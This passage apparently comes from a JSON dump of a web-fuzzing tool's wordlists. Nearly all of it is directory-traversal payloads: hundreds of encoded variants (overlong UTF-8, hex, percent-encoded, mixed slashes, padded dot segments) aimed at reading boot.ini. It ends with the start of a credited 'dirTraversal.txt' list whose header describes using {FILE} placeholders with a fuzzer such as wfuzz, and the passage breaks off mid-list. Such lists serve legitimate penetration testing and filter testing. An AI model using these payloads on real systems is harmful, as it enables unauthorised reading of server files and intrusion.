2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini\r\n..0x2fboot.ini\r\n..0x2f..0x2fboot.ini\r\n..0x2f..0x2f..0x2fboot.ini\r\n..0x2f..0x2f..0x2f..0x2fboot.ini\r\n..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini\r\n0x2e0x2e/boot.ini\r\n0x2e0x2e/0x2e0x2e/boot.ini\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini\r\n0x2e0x2e0x2fboot.ini\r\n0x2e0x2e0x2f0x2e0x2e0x2fboot.ini\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini\r\n..0x5cboot.ini\r\n..0x5c..0x5cboot.ini\r\n..0x5c..0x5c..0x5cboot.ini\r\n..0x5c..0x5c..0x5c..0x5cboot.ini\r\n..0x5c..0x5c..0x5c..0x5c..0x5cboot.ini\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cboot.ini\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cboot.ini\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cboot.ini\r\n0x2e0x2e\\boot.ini\r\n0x2e0x2e\\0x2e0x2e\\boot.ini\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\boot.ini\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\boot.ini\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\boot.ini\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\boot.ini\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\boot.ini\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\boot.ini\r\n0x2e0x2e0x5cboot.ini\r\n0x2e0x2e0x5c0x2e0x2e0x5cboot.ini\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini\r\n..%c0%2fboot.ini\r\n..%c0%2f..%c0%2fboot.ini\r\n..%c0%2f..%c0%2f..%c0%2fboot.ini\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini\r\n%c0%2e%c0%2e/boot.ini\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini\r\n%c0%2e%c0%2e%c0%2fboot.ini\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini\r\n..%c0%5cboot.ini\r\n..%c0%5c..%c0%5cboot.ini\r\n..%c0%5c..%c0%5c..%c0%5cboot.ini\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini\r\n%c0%2e%c0%2e\\boot.ini\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini\r\n%c0%2e%c0%2e%c0%5cboot.ini\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini\r\n///%2e%2e%2fboot.ini\r\n///%2e%2e%2f%2e%2e%2fboot.ini\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n\\\\\\%2e%2e%5cboot.ini\r\n\\\\\\%2e%2e%5c%2e%2e%5cboot.ini\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n..//boot.ini\r\n..//..//boot.ini\r\n..//..//..//boot.ini\r\n..//..//..//..//boot.ini\r\n..//..//..//..//..//boot.ini\r\n..//..//..//..//..//..//boot.ini\r\n..//..//..//..//..//..//..//boot.ini\r\n..//..//..//..//..//..//..//..//boot.ini\r\n..///boot.ini\r\n..///..///boot.ini\r\n..///..///..///boot.ini\r\n..///..///..///..///boot.ini\r\n..///..///..///..///..///boot.ini\r\n..///..///..///..///..///..///boot.ini\r\n..///..///..///..///..///..///..///boot.ini\r\n..///..///..///..///..///..///..///..///boot.ini\r\n..\\\\boot.ini\r\n..\\\\..\\\\boot.ini\r\n..\\\\..\\\\..\\\\boot.ini\r\n..\\\\..\\\\..\\\\..\\\\boot.ini\r\n..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini\r\n..\\\\\\boot.ini\r\n..\\\\\\..\\\\\\boot.ini\r\n..\\\\\\..\\\\\\..\\\\\\boot.ini\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\boot.ini\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\boot.ini\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\boot.ini\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\boot.ini\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\boot.ini\r\n./\\/./boot.ini\r\n./\\/././\\/./boot.ini\r\n./\\/././\\/././\\/./boot.ini\r\n./\\/././\\/././\\/././\\/./boot.ini\r\n./\\/././\\/././\\/././\\/././\\/./boot.ini\r\n./\\/././\\/././\\/././\\/././\\/././\\/./boot.ini\r\n./\\/././\\/././\\/././\\/././\\/././\\/././\\/./boot.ini\r\n./\\/././\\/././\\/././\\/././\\/././\\/././\\/././\\/./boot.ini\r\n.\\/\\.\\boot.ini\r\n.\\/\\.\\.\\/\\.\\boot.ini\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\boot.ini\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\boot.ini\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\boot.ini\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\boot.ini\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\boot.ini\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\boot.ini\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../boot.ini\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../boot.ini\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../boot.ini\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../boot.ini\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../boot.ini\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../boot.ini\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../boot.ini\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../boot.ini\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\boot.ini\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\boot.ini\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\boot.ini\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\boot.ini\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\boot.ini\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\boot.ini\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\n./../boot.ini\r\n./.././../boot.ini\r\n./.././.././../boot.ini\r\n./.././.././.././../boot.ini\r\n./.././.././.././.././../boot.ini\r\n./.././.././.././.././.././../boot.ini\r\n./.././.././.././.././.././.././../boot.ini\r\n./.././.././.././.././.././.././.././../boot.ini\r\n.\\..\\boot.ini\r\n.\\..\\.\\..\\boot.ini\r\n.\\..\\.\\..\\.\\..\\boot.ini\r\n.\\..\\.\\..\\.\\..\\.\\..\\boot.ini\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini\r\n.//..//boot.ini\r\n.//..//.//..//boot.ini\r\n.//..//.//..//.//..//boot.ini\r\n.//..//.//..//.//..//.//..//boot.ini\r\n.//..//.//..//.//..//.//..//.//..//boot.ini\r\n.//..//.//..//.//..//.//..//.//..//.//..//boot.ini\r\n.//..//.//..//.//..//.//..//.//..//.//..//.//..//boot.ini\r\n.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//boot.ini\r\n.\\\\..\\\\boot.ini\r\n.\\\\..\\\\.\\\\..\\\\boot.ini\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\boot.ini\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\boot.ini\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\boot.ini\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\boot.ini\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\boot.ini\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\boot.ini\r\n"
  },
  {
    "path": "wordlist/vulns/dirTraversal.txt",
    "content": "# Directory Traversal Fuzzing Code\r\n# Luca \"ikki\" Carettoni - v0.1\r\n#\r\n# 847 attack vectors, 8 levels of recursion (Unix-like, Windows)\r\n#\r\n# Usage: replace {FILE} with the absolute URI of a local resource, then use \r\n# your favourite web application fuzzer (e.g. wfuzz)\r\n\r\n../{FILE}\r\n../../{FILE}\r\n../../../{FILE}\r\n../../../../{FILE}\r\n../../../../../{FILE}\r\n../../../../../../{FILE}\r\n../../../../../../../{FILE}\r\n../../../../../../../../{FILE}\r\n..%2f{FILE}\r\n..%2f..%2f{FILE}\r\n..%2f..%2f..%2f{FILE}\r\n..%2f..%2f..%2f..%2f{FILE}\r\n..%2f..%2f..%2f..%2f..%2f{FILE}\r\n..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\r\n%2e%2e/{FILE}\r\n%2e%2e/%2e%2e/{FILE}\r\n%2e%2e/%2e%2e/%2e%2e/{FILE}\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\r\n%2e%2e%2f{FILE}\r\n%2e%2e%2f%2e%2e%2f{FILE}\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n..%252f{FILE}\r\n..%252f..%252f{FILE}\r\n..%252f..%252f..%252f{FILE}\r\n..%252f..%252f..%252f..%252f{FILE}\r\n..%252f..%252f..%252f..%252f..%252f{FILE}\r\n..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\r\n%252e%252e/{FILE}\r\n%252e%252e/%252e%252e/{FILE}\r\n%